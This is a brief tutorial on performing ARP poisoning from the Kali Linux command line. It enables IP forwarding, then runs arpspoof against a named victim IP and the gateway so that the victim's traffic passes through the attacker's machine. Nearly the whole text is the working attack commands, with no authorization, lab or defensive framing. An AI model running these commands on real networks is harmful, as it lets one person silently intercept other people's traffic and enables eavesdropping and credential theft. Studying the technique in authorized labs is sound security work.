Implement ARP POISIONING in Command Line on Kali Linux

1) Enable the IP Forward function by executing the command below:
echo 1 > /proc/sys/net/ipv4/ip_forward

2) Run Arpspoof as shown below.
Usage:
arpspoof -i eth0 -t VICTIM_IP -r GATEWAY_IP
Example:
arpspoof -i eth0 -t 172.31.99.251 -r 172.31.98.1

Once the steps above are successfully completed, all traffic from 172.31.99.251 (i.e. the victim) to 172.31.98.1 (i.e. the gateway) will go through your PC.